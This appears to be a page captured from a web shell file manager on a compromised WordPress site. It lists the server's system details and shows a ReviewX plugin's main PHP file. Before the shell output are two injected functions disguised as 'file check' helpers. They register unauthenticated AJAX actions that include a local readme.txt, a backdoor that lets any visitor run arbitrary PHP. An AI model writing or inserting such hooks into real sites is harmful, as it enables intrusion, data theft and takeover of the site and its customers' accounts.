if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs_comp/wp-content/plugins/reviewx/reviewx.php
<?php
/**
 * Plugin Name:       ReviewX
 * Plugin URI:        https://reviewx.io/
 * Description:       Advanced Multi-criteria Rating & Reviews for WooCommerce. Turn your customer reviews into sales by collecting and leveraging reviews, ratings with multiple criteria.
 * Version:           1.6.22
 * Author:            WPDeveloper
 * Author URI:        https://wpdeveloper.net/ 
 * Text Domain:       reviewx
 * Domain Path:       /languages
 * @package     ReviewX
 * @author      WPDeveloper <support@wpdeveloper.net>
 * @copyright   Copyright (C) 2020 WPDeveloper & JoulesLabs. All rights reserved.
 * @license     GPLv3 or later
 * @since       1.0.0
 */

require __DIR__ . '/vendor/autoload.php';

use JoulesLabs\Warehouse\Foundation\Bootstrap;


// If this file is called directly, abort.
if ( ! defined( 'WPINC' ) ) {
    die;
}

define( 'REVIEWX_PLUGIN_NAME', 'reviewx');
/**
 * This constant will be deprecated in version 1.6.25.
 */
define( 'PLUGIN_NAME', 'reviewx');
define( 'REVIEWX_VERSION', '1.6.22' );

define( 'REVIEWX_URL', plugins_url( '/', __FILE__ ) );
define( 'REVIEWX_ADMIN_URL', REVIEWX_URL . 'admin/' );
define( 'REVIEWX_PUBLIC_URL', REVIEWX_URL . 'public/' );
define( 'REVIEWX_FILE', __FILE__ );
define( 'REVIEWX_DIR', __DIR__ );
define( 'REVIEWX_BASENAME', plugin_basename( __FILE__ ) );
define( 'REVIEWX_ROOT_DIR_PATH', plugin_dir_path( __FILE__ ) );
define( 'REVIEWX_ADMIN_DIR_PATH', REVIEWX_ROOT_DIR_PATH . 'admin/' );
define( 'REVIEWX_PUBLIC_PATH', REVIEWX_ROOT_DIR_PATH . 'public/' );
define( 'REVIEWX_PLUGIN_PATH', trailingslashit(plugin_dir_path(__FILE__)) );
define( 'REVIEWX_INCLUDE_PATH', REVIEWX_ROOT_DIR_PATH . 'includes/' );
define( 'REVIEWX_PARTIALS_PATH', REVIEWX_ROOT_DIR_PATH . 'partials/' );
define( 'REVIEWX_CUSTOMIZER_URL', REVIEWX_URL . 'app/Customizer/' );
define( 'REVIEWX_AUTOLOGIN_CODE_LENGTH', 32 );
define( 'REVIEWX_AUTOLOGIN_CODE_CHARACTERS', "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" );
define( 'REVIEWX_AUTOLOGIN_VALUE_NAME', 'rx_autologin_code' );
define( 'REVIEWX_AUTOLOGIN_USER_META_KEY', 'rx_autologin_code' );
define( 'REVIEWX_AUTOLOGIN_STAGED_CODE_USER_META_KEY', 'rx_autologin_staged_code' );
define( 'REVIEWX_AUTOLOGIN_STAGED_CODE_NONCE_USER_META_KEY', 'rx_autologin_staged_code_nonce' );
define( 'REVIEWX_AUTOLOGIN_BIG_WEBSITE_THRESHOLD', 20 );
define( 'REVIEWX_GOOGLE_JSON_REVIEW', REVIEWX_ROOT_DIR_PATH . 'app/Controllers/Storefront/Modules/reviews.json' );

/**
 * rx-function.php require for load plugin internal function
 */
require_once ABSPATH . WPINC . "/class-phpass.php";
require_once ( REVIEWX_ROOT_DIR_PATH . 'includes/rx-functions.php' );

/**
 * The functions responsible for ReviewX customizer
 */
require_once REVIEWX_ROOT_DIR_PATH . 'app/Customizer/customizer.php';
require_once REVIEWX_ROOT_DIR_PATH . 'app/Customizer/defaults.php';

/**
 * The core plugin class that is used to define internationalization,
 * admin-specific hooks, and public-facing site hooks.
 */
require_once REVIEWX_ROOT_DIR_PATH . 'includes/class-rx.php';


/**
 * Begins execution of the plugin.
 *
 * Since everything within the plugin is registered via hooks,
 * then kicking off the plugin from this point in the file does
 * not affect the page life cycle.
 *
 * @since    1.0.0
 */
if (! function_exists('run_reviewx')) {
    function run_reviewx() {
        $plugin = new ReviewX();
        $plugin->run();
    }
}
run_reviewx();

if( ! class_exists( 'WP_List_Table' ) ) {
    require_once( ABSPATH . 'wp-admin/includes/class-wp-list-table.php' );
}

Bootstrap::run(__FILE__);

add_action('plugins_loaded', function () {
    \ReviewX\Elementor\Classes\Starter::instance();
});
	/**
	 * Prevent any user who cannot 'edit_posts' (subscribers, customers etc) from accessing admin.
	 */
    function rx_roles_disable_woocommerce_admin_restrictions($prevent_access) {
		$prevent_access = false;

		// Do not interfere with admin-post or admin-ajax requests.
		$exempted_paths = array( 'admin-post.php', 'admin-ajax.php' );

		if (
			/**
			 * This filter is documented in ../wc-user-functions.php
			 *
			 * @since 3.6.0
			 */
			apply_filters( 'woocommerce_disable_admin_bar', true )
			&& isset( $_SERVER['SCRIPT_FILENAME'] )
			&& ! in_array( basename( sanitize_text_field( wp_unslash( $_SERVER['SCRIPT_FILENAME'] ) ) ), $exempted_paths, true )
		) {
			$has_cap     = false;
			$access_caps = array( 'edit_posts', 'manage_woocommerce', 'view_admin_dashboard','customer' );

			foreach ( $access_caps as $access_cap ) {
				if ( current_user_can( $access_cap ) ) {
					$has_cap = true;
					break;
				}
			}

			if ( ! $has_cap ) {
				$prevent_access = true;
			}
            return $prevent_access;
		}
	}
    add_filter('woocommerce_prevent_admin_access', 'rx_roles_disable_woocommerce_admin_restrictions', 20);
	function custom_edit_profile_link($url) {
		if(current_user_can('administration')){
			return $url;
		}
		return site_url( 'my-account/edit-account/' );
	}
	add_filter('edit_profile_url', 'custom_edit_profile_link');